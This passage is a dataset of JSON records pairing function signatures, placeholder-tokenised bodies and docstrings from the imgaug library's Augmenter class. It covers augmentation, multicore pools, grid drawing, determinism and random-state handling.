is ``False`` and the python version is below 3.6,\n    either this or `images` _must_ be provided.\n\nimages : None \\\n    or (N,H,W,C) ndarray \\\n    or (N,H,W) ndarray \\\n    or iterable of (H,W,C) ndarray \\\n    or iterable of (H,W) ndarray, \\\n    optional\n    The images to augment. Only this or `image` can be set, not both.\n    If `return_batch` is ``False`` and the python version is below 3.6,\n    either this or `image` _must_ be provided.\n\nheatmaps : None \\\n    or (N,H,W,C) ndarray \\\n    or imgaug.augmentables.heatmaps.HeatmapsOnImage \\\n    or iterable of (H,W,C) ndarray \\\n    or iterable of imgaug.augmentables.heatmaps.HeatmapsOnImage, \\\n    optional\n    The heatmaps to augment.\n    If anything else than ``HeatmapsOnImage``, then the number of\n    heatmaps must match the number of images provided via parameter\n    `images`. The number is contained either in ``N`` or the first\n    iterable's size.\n\nsegmentation_maps : None \\\n    or (N,H,W) ndarray \\\n    or imgaug.augmentables.segmaps.SegmentationMapOnImage \\\n    or iterable of (H,W) ndarray \\\n    or iterable of imgaug.augmentables.segmaps.SegmentationMapOnImage, \\\n    optional\n    The segmentation maps to augment.\n    If anything else than ``SegmentationMapOnImage``, then the number\n    of segmaps must match the number of images provided via parameter\n    `images`. The number is contained either in ``N`` or the first\n    iterable's size.\n\nkeypoints : None \\\n    or list of (N,K,2) ndarray \\\n    or tuple of number \\\n    or imgaug.augmentables.kps.Keypoint \\\n    or iterable of (K,2) ndarray \\\n    or iterable of tuple of number \\\n    or iterable of imgaug.augmentables.kps.Keypoint \\\n    or iterable of imgaug.augmentables.kps.KeypointOnImage \\\n    or iterable of iterable of tuple of number \\\n    or iterable of iterable of imgaug.augmentables.kps.Keypoint, \\\n    optional\n    The keypoints to augment.\n    If a tuple (or iterable(s) of tuple), then iterpreted as (x,y)\n    coordinates and must hence contain two numbers.\n    A single tuple represents a single coordinate on one image, an\n    iterable of tuples the coordinates on one image and an iterable of\n    iterable of tuples the coordinates on several images. Analogous if\n    ``Keypoint`` objects are used instead of tuples.\n    If an ndarray, then ``N`` denotes the number of images and ``K``\n    the number of keypoints on each image.\n    If anything else than ``KeypointsOnImage`` is provided, then the\n    number of keypoint groups must match the number of images provided\n    via parameter `images`. The number is contained e.g. in ``N`` or\n    in case of \"iterable of iterable of tuples\" in the first iterable's\n    size.\n\nbounding_boxes : None \\\n    or (N,B,4) ndarray \\\n    or tuple of number \\\n    or imgaug.augmentables.bbs.BoundingBox \\\n    or imgaug.augmentables.bbs.BoundingBoxesOnImage \\\n    or iterable of (B,4) ndarray \\\n    or iterable of tuple of number \\\n    or iterable of imgaug.augmentables.bbs.BoundingBox \\\n    or iterable of imgaug.augmentables.bbs.BoundingBoxesOnImage \\\n    or iterable of iterable of tuple of number \\\n    or iterable of iterable imgaug.augmentables.bbs.BoundingBox, \\\n    optional\n    The bounding boxes to augment.\n    This is analogous to the `keypoints` parameter. However, each\n    tuple -- and also the last index in case of arrays -- has size 4,\n    denoting the bounding box coordinates ``x1``, ``y1``, ``x2`` and\n    ``y2``.\n\npolygons : None  \\\n    or (N,#polys,#points,2) ndarray \\\n    or imgaug.augmentables.polys.Polygon \\\n    or imgaug.augmentables.polys.PolygonsOnImage \\\n    or iterable of (#polys,#points,2) ndarray \\\n    or iterable of tuple of number \\\n    or iterable of imgaug.augmentables.kps.Keypoint \\\n    or iterable of imgaug.augmentables.polys.Polygon \\\n    or iterable of imgaug.augmentables.polys.PolygonsOnImage \\\n    or iterable of iterable of (#points,2) ndarray \\\n    or iterable of iterable of tuple of number \\\n    or iterable of iterable of imgaug.augmentables.kps.Keypoint \\\n    or iterable of iterable of imgaug.augmentables.polys.Polygon \\\n    or iterable of iterable of iterable of tuple of number \\\n    or iterable of iterable of iterable of tuple of \\\n    imgaug.augmentables.kps.Keypoint, \\\n    optional\n    The polygons to augment.\n    This is similar to the `keypoints` parameter. However, each polygon\n    may be made up of several (x,y) coordinates (three or more are\n    required for valid polygons).\n    The following datatypes will be interpreted as a single polygon on\n    a single image:\n      * ``imgaug.augmentables.polys.Polygon``\n      * ``iterable of tuple of number``\n      * ``iterable of imgaug.augmentables.kps.Keypoint``\n\n    The following datatypes will be interpreted as multiple polygons\n    on a single image:\n      * ``imgaug.augmentables.polys.PolygonsOnImage``\n      * ``iterable of imgaug.augmentables.polys.Polygon``\n      * ``iterable of iterable of tuple of number``\n      * ``iterable of iterable of imgaug.augmentables.kps.Keypoint``\n      * ``iterable of iterable of imgaug.augmentables.polys.Polygon``\n\n    The following datatypes will be interpreted as multiple polygons on\n    multiple images:\n      * ``(N,#polys,#points,2) ndarray``\n      * ``iterable of (#polys,#points,2) ndarray``\n      * ``iterable of iterable of (#points,2) ndarray``\n      * ``iterable of iterable of iterable of tuple of number``\n      * ``iterable of iterable of iterable of tuple of imgaug.augmentables.kps.Keypoint``\n\nline_strings : None \\\n    or (N,#lines,#points,2) ndarray \\\n    or imgaug.augmentables.lines.LineString \\\n    or imgaug.augmentables.lines.LineStringOnImage \\\n    or iterable of (#polys,#points,2) ndarray \\\n    or iterable of tuple of number \\\n    or iterable of imgaug.augmentables.kps.Keypoint \\\n    or iterable of imgaug.augmentables.lines.LineString \\\n    or iterable of imgaug.augmentables.lines.LineStringOnImage \\\n    or iterable of iterable of (#points,2) ndarray \\\n    or iterable of iterable of tuple of number \\\n    or iterable of iterable of imgaug.augmentables.kps.Keypoint \\\n    or iterable of iterable of imgaug.augmentables.lines.LineString \\\n    or iterable of iterable of iterable of tuple of number \\\n    or iterable of iterable of iterable of tuple of \\\n    imgaug.augmentables.kps.Keypoint, \\\n    optional\n    The line strings to augment.\n    See `polygons`, which behaves similarly.\n\nreturn_batch : bool, optional\n    Whether to return an instance of\n    `imgaug.augmentables.batches.UnnormalizedBatch`. If the python\n    version is below 3.6 and more than two augmentables were provided\n    (e.g. images, keypoints and polygons), then this must be set to\n    ``True``. Otherwise an error will be raised.\n\nhooks : None or imgaug.imgaug.HooksImages, optional\n    Hooks object to dynamically interfere with the augmentation process.\n\nReturns\n-------\ntuple or imgaug.augmentables.batches.UnnormalizedBatch\n    If `return_batch` was set to ``True``, a instance of\n    ``UnnormalizedBatch`` will be returned.\n    If `return_batch` was set to ``False``, a tuple of augmentables\n    will be returned, e.g. ``(augmented images, augmented keypoints)``.\n    The datatypes match the input datatypes of the corresponding named\n    arguments. In python <3.6, augmented images are always the first\n    entry in the returned tuple. In python 3.6+ the order matches the\n    order of the named arguments.\n\nExamples\n--------\n>>> import numpy as np\n>>> import imgaug as ia\n>>> import imgaug.augmenters as iaa\n>>> aug = iaa.Affine(rotate=(-25, 25))\n>>> image = np.zeros((64, 64, 3), dtype=np.uint8)\n>>> keypoints = [(10, 20), (30, 32)]  # (x,y) coordinates\n>>> images_aug, keypoints_aug = aug.augment(\n>>>     image=image, keypoints=keypoints)\n\nThis creates a single image and a set of two keypoints on it, then\naugments both by applying a random rotation between -25deg and +25deg.\nThe sampled rotation value is automatically aligned between image and\nkeypoints. Note that in python <3.6, augmented images will always be\nreturned first, independent of the order of the named input arguments.\nSo ``keypoints_aug, images_aug = aug.augment(keypoints=keypoints,\nimage=image)`` would _not_ work (except in python 3.6+).\n\n>>> import numpy as np\n>>> import imgaug as ia\n>>> import imgaug.augmenters as iaa\n>>> aug = iaa.Affine(rotate=(-25, 25))\n>>> images = [np.zeros((64, 64, 3), dtype=np.uint8),\n>>>           np.zeros((32, 32, 3), dtype=np.uint8)]\n>>> keypoints = [[(10, 20), (30, 32)],  # KPs on first image\n>>>              [(22, 10), (12, 14)]]  # KPs on second image\n>>> bbs = [\n>>>           [ia.BoundingBox(x1=5, y1=5, x2=50, y2=45)],\n>>>           [ia.BoundingBox(x1=4, y1=6, x2=10, y2=15),\n>>>            ia.BoundingBox(x1=8, y1=9, x2=16, y2=30)]\n>>>       ]  # one BB on first image, two BBs on second image\n>>> batch_aug = aug.augment(\n>>>     images=images, keypoints=keypoints, bounding_boxes=bbs,\n>>>     return_batch=True)\n\nThis creates two images of size 64x64 and 32x32, two sets of keypoints\n(each containing two keypoints) and two sets of bounding boxes (the\nfirst containing one bounding box, the second two bounding boxes).\nThese augmentables are then augmented by applying random rotations\nbetween -25deg and +25deg to them. The rotation values are sampled\nby image and aligned between all augmentables on the same image.\nThe method finally returns an instance of ``UnnormalizedBatch`` from\nwhich the augmented data can be retrieved via ``batch_aug.images_aug``,\n``batch_aug.keypoints_aug``, and ``batch_aug.bounding_boxes_aug``.\nIn python 3.6+, `return_batch` can be kept at ``False`` and the\naugmented data can be retrieved as\n``images_aug, keypoints_aug, bbs_aug = augment(...)``.", "id": "f16288:c0:m19"}
{"signature": "def __call__(self, *args, **kwargs):", "body": "return self.augment(*args, **kwargs)<EOL>", "docstring": "Alias for :func:`imgaug.augmenters.meta.Augmenter.augment`.", "id": "f16288:c0:m20"}
{"signature": "def pool(self, processes=None, maxtasksperchild=None, seed=None):", "body": "import imgaug.multicore as multicore<EOL>return multicore.Pool(self, processes=processes, maxtasksperchild=maxtasksperchild, seed=seed)<EOL>", "docstring": "Create a pool used for multicore augmentation from this augmenter.\n\nParameters\n----------\nprocesses : None or int, optional\n    Same as for :func:`imgaug.multicore.Pool.__init__`.\n    The number of background workers, similar to the same parameter in multiprocessing.Pool.\n    If ``None``, the number of the machine's CPU cores will be used (this counts hyperthreads as CPU cores).\n    If this is set to a negative value ``p``, then ``P - abs(p)`` will be used, where ``P`` is the number\n    of CPU cores. E.g. ``-1`` would use all cores except one (this is useful to e.g. reserve one core to\n    feed batches to the GPU).\n\nmaxtasksperchild : None or int, optional\n    Same as for :func:`imgaug.multicore.Pool.__init__`.\n    The number of tasks done per worker process before the process is killed and restarted, similar to the\n    same parameter in multiprocessing.Pool. If ``None``, worker processes will not be automatically restarted.\n\nseed : None or int, optional\n    Same as for :func:`imgaug.multicore.Pool.__init__`.\n    The seed to use for child processes. If ``None``, a random seed will be used.\n\nReturns\n-------\nimgaug.multicore.Pool\n    Pool for multicore augmentation.\n\nExamples\n--------\n>>> import imgaug as ia\n>>> from imgaug import augmenters as iaa\n>>> import numpy as np\n>>> aug = iaa.Add(1)\n>>> images = np.zeros((16, 128, 128, 3), dtype=np.uint8)\n>>> batches = [ia.Batch(images=np.copy(images)) for _ in range(100)]\n>>> with aug.pool(processes=-1, seed=2) as pool:\n>>>     batches_aug = pool.map_batches(batches, chunksize=8)\n>>> print(np.sum(batches_aug[0].images_aug[0]))\n49152\n\nCreates ``100`` batches of empty images. Each batch contains ``16`` images of size ``128x128``. The batches\nare then augmented on all CPU cores except one (``processes=-1``). After augmentation, the sum of pixel values\nfrom the first augmented image is printed.\n\n>>> import imgaug as ia\n>>> from imgaug import augmenters as iaa\n>>> import numpy as np\n>>> aug = iaa.Add(1)\n>>> images = np.zeros((16, 128, 128, 3), dtype=np.uint8)\n>>> def generate_batches():\n>>>     for _ in range(100):\n>>>         yield ia.Batch(images=np.copy(images))\n>>>\n>>> with aug.pool(processes=-1, seed=2) as pool:\n>>>     batches_aug = pool.imap_batches(generate_batches(), chunksize=8)\n>>>     batch_aug = next(batches_aug)\n>>>     print(np.sum(batch_aug.images_aug[0]))\n49152\n\nSame as above. This time, a generator is used to generate batches of images. Again, the first augmented image's\nsum of pixels is printed.", "id": "f16288:c0:m21"}
{"signature": "def draw_grid(self, images, rows, cols):", "body": "if ia.is_np_array(images):<EOL><INDENT>if len(images.shape) == <NUM_LIT:4>:<EOL><INDENT>images = [images[i] for i in range(images.shape[<NUM_LIT:0>])]<EOL><DEDENT>elif len(images.shape) == <NUM_LIT:3>:<EOL><INDENT>images = [images]<EOL><DEDENT>elif len(images.shape) == <NUM_LIT:2>:<EOL><INDENT>images = [images[:, :, np.newaxis]]<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\" % (images.shape,))<EOL><DEDENT><DEDENT>elif isinstance(images, list):<EOL><INDENT>for i, image in enumerate(images):<EOL><INDENT>if len(image.shape) == <NUM_LIT:3>:<EOL><INDENT>continue<EOL><DEDENT>elif len(image.shape) == <NUM_LIT:2>:<EOL><INDENT>images[i] = image[:, :, np.newaxis]<EOL><DEDENT>else:<EOL><INDENT>raise Exception((\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\") % (i, image.shape,))<EOL><DEDENT><DEDENT><DEDENT>ia.do_assert(isinstance(images, list))<EOL>det = self if self.deterministic else self.to_deterministic()<EOL>augs = []<EOL>for image in images:<EOL><INDENT>augs.append(det.augment_images([image] * (rows * cols)))<EOL><DEDENT>augs_flat = list(itertools.chain(*augs))<EOL>cell_height = max([image.shape[<NUM_LIT:0>] for image in augs_flat])<EOL>cell_width = max([image.shape[<NUM_LIT:1>] for image in augs_flat])<EOL>width = cell_width * cols<EOL>height = cell_height * (rows * len(images))<EOL>grid = np.zeros((height, width, <NUM_LIT:3>), dtype=augs[<NUM_LIT:0>][<NUM_LIT:0>].dtype)<EOL>for row_idx in range(rows):<EOL><INDENT>for img_idx, image in enumerate(images):<EOL><INDENT>for col_idx in range(cols):<EOL><INDENT>image_aug = augs[img_idx][(row_idx * cols) + col_idx]<EOL>cell_y1 = cell_height * (row_idx * len(images) + img_idx)<EOL>cell_y2 = cell_y1 + image_aug.shape[<NUM_LIT:0>]<EOL>cell_x1 = cell_width * col_idx<EOL>cell_x2 = cell_x1 + image_aug.shape[<NUM_LIT:1>]<EOL>grid[cell_y1:cell_y2, cell_x1:cell_x2, :] = image_aug<EOL><DEDENT><DEDENT><DEDENT>return grid<EOL>", "docstring": "Apply this augmenter to the given images and return a grid image of the results.\nEach cell in the grid contains a single augmented variation of an input image.\n\nIf multiple images are provided, the row count is multiplied by\nthe number of images and each image gets its own row.\nE.g. for ``images = [A, B]``, ``rows=2``, ``cols=3``::\n\n    A A A\n    B B B\n    A A A\n    B B B\n\nfor ``images = [A]``, ``rows=2``,\n``cols=3``::\n\n    A A A\n    A A A\n\nParameters\n-------\nimages : (N,H,W,3) ndarray or (H,W,3) ndarray or (H,W) ndarray or list of (H,W,3) ndarray\\\n         or list of (H,W) ndarray\n    List of images of which to show the augmented versions.\n    If a list, then each element is expected to have shape ``(H, W)`` or\n    ``(H, W, 3)``. If a single array, then it is expected to have\n    shape ``(N, H, W, 3)`` or ``(H, W, 3)`` or ``(H, W)``.\n\nrows : int\n    Number of rows in the grid.\n    If ``N`` input images are given, this value will automatically be\n    multiplied by ``N`` to create rows for each image.\n\ncols : int\n    Number of columns in the grid.\n\nReturns\n-------\ngrid : (Hg, Wg, 3) ndarray\n    The generated grid image with augmented versions of the input\n    images. Here, ``Hg`` and ``Wg`` reference the output size of the grid,\n    and *not* the sizes of the input images.", "id": "f16288:c0:m22"}
{"signature": "def show_grid(self, images, rows, cols):", "body": "grid = self.draw_grid(images, rows, cols)<EOL>ia.imshow(grid)<EOL>", "docstring": "Apply this augmenter to the given images and show/plot the results as a grid of images.\n\nIf multiple images are provided, the row count is multiplied by\nthe number of images and each image gets its own row.\nE.g. for ``images = [A, B]``, ``rows=2``, ``cols=3``::\n\n    A A A\n    B B B\n    A A A\n    B B B\n\nfor ``images = [A]``, ``rows=2``,\n``cols=3``::\n\n    A A A\n    A A A\n\nParameters\n----------\nimages : (N,H,W,3) ndarray or (H,W,3) ndarray or (H,W) ndarray or list of (H,W,3) ndarray\\\n         or list of (H,W) ndarray\n    List of images of which to show the augmented versions.\n    If a list, then each element is expected to have shape ``(H, W)`` or ``(H, W, 3)``.\n    If a single array, then it is expected to have shape ``(N, H, W, 3)``\n    or ``(H, W, 3)`` or ``(H, W)``.\n\nrows : int\n    Number of rows in the grid.\n    If ``N`` input images are given, this value will automatically be\n    multiplied by ``N`` to create rows for each image.\n\ncols : int\n    Number of columns in the grid.", "id": "f16288:c0:m23"}
{"signature": "def to_deterministic(self, n=None):", "body": "ia.do_assert(n is None or n >= <NUM_LIT:1>)<EOL>if n is None:<EOL><INDENT>return self.to_deterministic(<NUM_LIT:1>)[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>return [self._to_deterministic() for _ in sm.xrange(n)]<EOL><DEDENT>", "docstring": "Converts this augmenter from a stochastic to a deterministic one.\n\nA stochastic augmenter samples new values for each parameter per image.\nFeed a new batch of images into the augmenter and you will get a\nnew set of transformations.\nA deterministic augmenter also samples new values for each parameter\nper image, but starts each batch with the same RandomState (i.e. seed).\nFeed two batches of images into the augmenter and you get the same\ntransformations both times (same number of images assumed; some\naugmenter's results are also dependend on image height, width and\nchannel count).\n\nUsing determinism is useful for keypoint augmentation,\nas you will usually want to augment images and their corresponding\nkeypoints in the same way (e.g. if an image is rotated by ``30deg``, then\nalso rotate its keypoints by ``30deg``).\n\nParameters\n----------\nn : None or int, optional\n    Number of deterministic augmenters to return.\n    If None then only one Augmenter object will be returned.\n    If 1 or higher, then a list containing `n` Augmenter objects\n    will be returned.\n\nReturns\n-------\ndet : imgaug.augmenters.meta.Augmenter or list of imgaug.augmenters.meta.Augmenter\n    A single Augmenter object if `n` was None,\n    otherwise a list of Augmenter objects (even if `n` was 1).", "id": "f16288:c0:m24"}
{"signature": "def _to_deterministic(self):", "body": "aug = self.copy()<EOL>aug.random_state = ia.derive_random_state(self.random_state)<EOL>aug.deterministic = True<EOL>return aug<EOL>", "docstring": "Augmenter-specific implementation of ``to_deterministic()``.\nThis function is expected to return a single new deterministic\nAugmenter object of this augmenter.\n\nReturns\n-------\ndet : imgaug.augmenters.meta.Augmenter\n    Deterministic variation of this Augmenter object.", "id": "f16288:c0:m25"}
{"signature": "def reseed(self, random_state=None, deterministic_too=False):", "body": "ia.do_assert(isinstance(deterministic_too, bool))<EOL>if random_state is None:<EOL><INDENT>random_state = ia.current_random_state()<EOL><DEDENT>elif isinstance(random_state, np.random.RandomState):<EOL><INDENT>pass  <EOL><DEDENT>else:<EOL><INDENT>random_state = ia.new_random_state(random_state)<EOL><DEDENT>if not self.deterministic or deterministic_too:<EOL><INDENT>seed = random_state.randint(<NUM_LIT:0>, <NUM_LIT:10>**<NUM_LIT:6>, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>self.random_state = ia.new_random_state(seed)<EOL><DEDENT>for lst in self.get_children_lists():<EOL><INDENT>for aug in lst:<EOL><INDENT>aug.reseed(random_state=random_state, deterministic_too=deterministic_too)<EOL><DEDENT><DEDENT>", "docstring": "Reseed this augmenter and all of its children (if it has any).\n\nThis function is useful, when augmentations are run in the\nbackground (i.e. on multiple cores).\nIt should be called before sending this Augmenter object to a\nbackground worker or once within each worker with different seeds\n(i.e., if ``N`` workers are used, the function should be called\n``N`` times). Otherwise, all background workers will\nuse the same seeds and therefore apply the same augmentations.\n\nIf this augmenter or any child augmenter had a random state that\npointed to the global random state, it will automatically be\nreplaced with a local random state. This is similar to what\n:func:`imgaug.augmenters.meta.Augmenter.localize_random_state`\ndoes.\n\nParameters\n----------\nrandom_state : None or int or numpy.random.RandomState, optional\n    A RandomState that is used to sample seeds per augmenter.\n    If int, the parameter will be used as a seed for a new RandomState.\n    If None, a new RandomState will automatically be created.\n\ndeterministic_too : bool, optional\n    Whether to also change the seed of an augmenter ``A``, if ``A``\n    is deterministic. This is the case both when this augmenter\n    object is ``A`` or one of its children is ``A``.", "id": "f16288:c0:m26"}
{"signature": "def localize_random_state(self, recursive=True):", "body": "aug = self.deepcopy()<EOL>aug.localize_random_state_(<EOL>recursive=recursive<EOL>)<EOL>return aug<EOL>", "docstring": "Converts global random states to local ones.\nSee :func:`Augmenter.localize_random_state_` for more details.\n\nParameters\n----------\nrecursive : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.localize_random_state_`.\n\nReturns\n-------\naug : imgaug.augmenters.meta.Augmenter\n    Returns copy of augmenter and children, with localized random states.", "id": "f16288:c0:m27"}
{"signature": "def localize_random_state_(self, recursive=True):", "body": "if self.random_state == ia.current_random_state():<EOL><INDENT>self.random_state = ia.new_random_state()<EOL><DEDENT>if recursive:<EOL><INDENT>for lst in self.get_children_lists():<EOL><INDENT>for child in lst:<EOL><INDENT>child.localize_random_state_(recursive=recursive)<EOL><DEDENT><DEDENT><DEDENT>return self<EOL>", "docstring": "Converts global random states to local ones.\n\nA global random state exists exactly once. Many augmenters can point\nto it (and thereby use it to sample random numbers).\nLocal random states usually exist for exactly one augmenter and are\nsaved within that augmenter.\n\nUsually there is no need to change global into local random states.\nThe only noteworthy exceptions are\n\n    * whenever you want to use determinism (so that the global random\n      state is not accidentally reverted)\n    * whenever you want to copy random states from one augmenter to\n      another. (Copying the global random state doesn't help very\n      much. If you copy the state from A to B, then execute A and then\n      B, B's (global) random state has already changed because of A's\n      sampling.)\n\nThe case of determinism is handled automatically by\n:func:`imgaug.augmenters.meta.Augmenter.to_deterministic`.\nOnly when you copy random states (via :func:`imgaug.augmenters.meta.Augmenter.copy_random_state`),\nyou need to call this function first.\n\nParameters\n----------\nrecursive : bool, optional\n    Whether to localize the random states of children too.\n\nReturns\n-------\nself : imgaug.augmenters.meta.Augmenter\n    Returns itself (with localized random states).", "id": "f16288:c0:m28"}
{"signature": "def copy_random_state(self, source, recursive=True, matching=\"<STR_LIT>\", matching_tolerant=True,<EOL>copy_determinism=False):", "body": "aug = self.deepcopy()<EOL>aug.copy_random_state_(<EOL>source,<EOL>recursive=recursive,<EOL>matching=matching,<EOL>matching_tolerant=matching_tolerant,<EOL>copy_determinism=copy_determinism<EOL>)<EOL>return aug<EOL>", "docstring": "Copy the random states from a source augmenter sequence.\n\nParameters\n----------\nsource : imgaug.augmenters.meta.Augmenter\n    See :func:`imgaug.augmenters.meta.Augmenter.copy_random_state_`.\n\nrecursive : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.copy_random_state_`.\n\nmatching : {'position', 'name'}, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.copy_random_state_`.\n\nmatching_tolerant : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.copy_random_state_`.\n\ncopy_determinism : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.copy_random_state_`.\n\nReturns\n-------\naug : imgaug.augmenters.meta.Augmenter\n    Copy of the augmenter(s) with the same random state(s) as in the\n    source augmenter(s).", "id": "f16288:c0:m29"}
{"signature": "def copy_random_state_(self, source, recursive=True, matching=\"<STR_LIT>\", matching_tolerant=True,<EOL>copy_determinism=False):", "body": "source_augs = [source] + source.get_all_children(flat=True) if recursive else [source]<EOL>target_augs = [self] + self.get_all_children(flat=True) if recursive else [self]<EOL>global_rs = ia.current_random_state()<EOL>global_rs_exc_msg = \"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"<EOL>if matching == \"<STR_LIT:name>\":<EOL><INDENT>source_augs_dict = {aug.name: aug for aug in source_augs}<EOL>target_augs_dict = {aug.name: aug for aug in target_augs}<EOL>if len(source_augs_dict) < len(source_augs) or len(target_augs_dict) < len(target_augs):<EOL><INDENT>warnings.warn(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>for name in target_augs_dict:<EOL><INDENT>if name in source_augs_dict:<EOL><INDENT>if source_augs_dict[name].random_state == global_rs:<EOL><INDENT>raise Exception(global_rs_exc_msg)<EOL><DEDENT>target_augs_dict[name].random_state = ia.copy_random_state(source_augs_dict[name].random_state)<EOL>if copy_determinism:<EOL><INDENT>target_augs_dict[name].deterministic = source_augs_dict[name].deterministic<EOL><DEDENT><DEDENT>elif not matching_tolerant:<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\" % (name,)<EOL>)<EOL><DEDENT><DEDENT><DEDENT>elif matching == \"<STR_LIT>\":<EOL><INDENT>if len(source_augs) != len(target_augs) and not matching_tolerant:<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>for source_aug, target_aug in zip(source_augs, target_augs):<EOL><INDENT>if source_aug.random_state == global_rs:<EOL><INDENT>raise Exception(global_rs_exc_msg)<EOL><DEDENT>target_aug.random_state = ia.copy_random_state(source_aug.random_state, force_copy=True)<EOL>if copy_determinism:<EOL><INDENT>target_aug.deterministic = source_aug.deterministic<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % (matching,))<EOL><DEDENT>return self<EOL>", "docstring": "Copy the random states from a source augmenter sequence (inplace).\n\nParameters\n----------\nsource : imgaug.augmenters.meta.Augmenter\n    The source augmenter from where to copy the random_state(s).\n    May have children (e.g. a Sequential).\n    May not use the global random state. This is used by default\n    by all augmenters. Call :func:`imgaug.augmenters.meta.Augmenter.localize_random_state_`\n    once on the source to localize all random states.\n\nrecursive : bool, optional\n    Whether to copy the random states of the source augmenter *and*\n    all of its children (True) or just the source augmenter (False).\n\nmatching : {'position', 'name'}, optional\n    Defines the matching mode to use during recursive copy.\n    This is used to associate source augmenters with target augmenters.\n    If ``position`` then the target and source sequences of augmenters\n    are turned into flattened lists and are associated based on\n    their list indices. If ``name`` then the target and source augmenters\n    are matched based on their names (i.e. ``augmenter.name``).\n\nmatching_tolerant : bool, optional\n    Whether to use tolerant matching between source and target\n    augmenters. If set to False: Name matching will raise an exception\n    for any target augmenter which's name does not appear among the\n    source augmeters. Position matching will raise an exception if\n    source and target augmenter have an unequal number of children.\n\ncopy_determinism : bool, optional\n    Whether to copy the ``deterministic`` flags from source to target\n    augmenters too.\n\nReturns\n-------\nself : imgaug.augmenters.meta.Augmenter\n    Returns itself (after random state copy).", "id": "f16288:c0:m30"}
{"signature": "def get_children_lists(self):", "body": "return []<EOL>", "docstring": "Get a list of lists of children of this augmenter.\n\nFor most augmenters, the result will be a single empty list.\nFor augmenters with children it will often be a list with one sublist containing all\nchildren. In some cases the augmenter will contain multiple distinct lists of children,\ne.g. an if-list and an else-list. This will lead to a result consisting of a single\nlist with multiple sublists, each representing the respective sublist of children.\n\nE.g. for an if/else-augmenter that executes the children ``A1``, ``A2`` if a condition is met\nand otherwise executes the children ``B1``, ``B2``, ``B3`` the result will\nbe ``[[A1, A2], [B1, B2, B3]]``.\n\nIMPORTANT: While the topmost list may be newly created, each of the sublist must be\neditable inplace resulting in a changed children list of the augmenter. E.g. if\nan Augmenter ``IfElse(condition, [A1, A2], [B1, B2, B3])`` returns ``[[A1, A2], [B1, B2, B3]]``\nfor a call to :func:`imgaug.augmenters.meta.Augmenter.get_children_lists` and\n``A2`` is removed inplace from ``[A1, A2]``, then the\nchildren lists of ``IfElse(...)`` must also change to ``[A1], [B1, B2, B3]``. This is used\nin :func:`imgaug.augmeneters.meta.Augmenter.remove_augmenters_inplace`.\n\nReturns\n-------\nchildren : list of list of imgaug.augmenters.meta.Augmenter\n    One or more lists of child augmenter.\n    Can also be a single empty list.", "id": "f16288:c0:m32"}
{"signature": "def get_all_children(self, flat=False):", "body": "result = []<EOL>for lst in self.get_children_lists():<EOL><INDENT>for aug in lst:<EOL><INDENT>result.append(aug)<EOL>children = aug.get_all_children(flat=flat)<EOL>if len(children) > <NUM_LIT:0>:<EOL><INDENT>if flat:<EOL><INDENT>result.extend(children)<EOL><DEDENT>else:<EOL><INDENT>result.append(children)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return result<EOL>", "docstring": "Returns all children of this augmenter as a list.\n\nIf the augmenter has no children, the returned list is empty.\n\nParameters\n----------\nflat : bool\n    If set to True, the returned list will be flat.\n\nReturns\n-------\nresult : list of imgaug.augmenters.meta.Augmenter\n    The children as a nested or flat list.", "id": "f16288:c0:m33"}
{"signature": "def find_augmenters(self, func, parents=None, flat=True):", "body": "if parents is None:<EOL><INDENT>parents = []<EOL><DEDENT>result = []<EOL>if func(self, parents):<EOL><INDENT>result.append(self)<EOL><DEDENT>subparents = parents + [self]<EOL>for lst in self.get_children_lists():<EOL><INDENT>for aug in lst:<EOL><INDENT>found = aug.find_augmenters(func, parents=subparents, flat=flat)<EOL>if len(found) > <NUM_LIT:0>:<EOL><INDENT>if flat:<EOL><INDENT>result.extend(found)<EOL><DEDENT>else:<EOL><INDENT>result.append(found)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return result<EOL>", "docstring": "Find augmenters that match a condition.\nThis function will compare this augmenter and all of its children\nwith a condition. The condition is a lambda function.\n\nParameters\n----------\nfunc : callable\n    A function that receives an Augmenter instance and a list of\n    parent Augmenter instances and must return True, if that\n    augmenter is valid match.\n\nparents : None or list of imgaug.augmenters.meta.Augmenter, optional\n    List of parent augmenters.\n    Intended for nested calls and can usually be left as None.\n\nflat : bool, optional\n    Whether to return the result as a flat list (True)\n    or a nested list (False). In the latter case, the nesting matches\n    each augmenters position among the children.\n\nReturns\n----------\naugmenters : list of imgaug.augmenters.meta.Augmenter\n    Nested list if flat was set to False.\n    Flat list if flat was set to True.\n\nExamples\n--------\n>>> aug = iaa.Sequential([\n>>>     iaa.Fliplr(0.5, name=\"fliplr\"),\n>>>     iaa.Flipud(0.5, name=\"flipud\")\n>>> ])\n>>> print(aug.find_augmenters(lambda a, parents: a.name == \"fliplr\"))\n\nThis will return the first child augmenter (Fliplr instance).", "id": "f16288:c0:m34"}
{"signature": "def find_augmenters_by_name(self, name, regex=False, flat=True):", "body": "return self.find_augmenters_by_names([name], regex=regex, flat=flat)<EOL>", "docstring": "Find augmenter(s) by name.\n\n        Parameters\n        ----------\n        name : str\n            Name of the augmenter(s) to search for.\n\n        regex : bool, optional\n            Whether `name` parameter is a regular expression.\n\n        flat : bool, optional\n            See :func:`imgaug.augmenters.meta.Augmenter.find_augmenters`.\n\n        Returns\n        -------\n        augmenters : list of imgaug.augmenters.meta.Augmenter\n            Nested list if flat was set to False.\n            Flat list if flat was set to True.", "id": "f16288:c0:m35"}
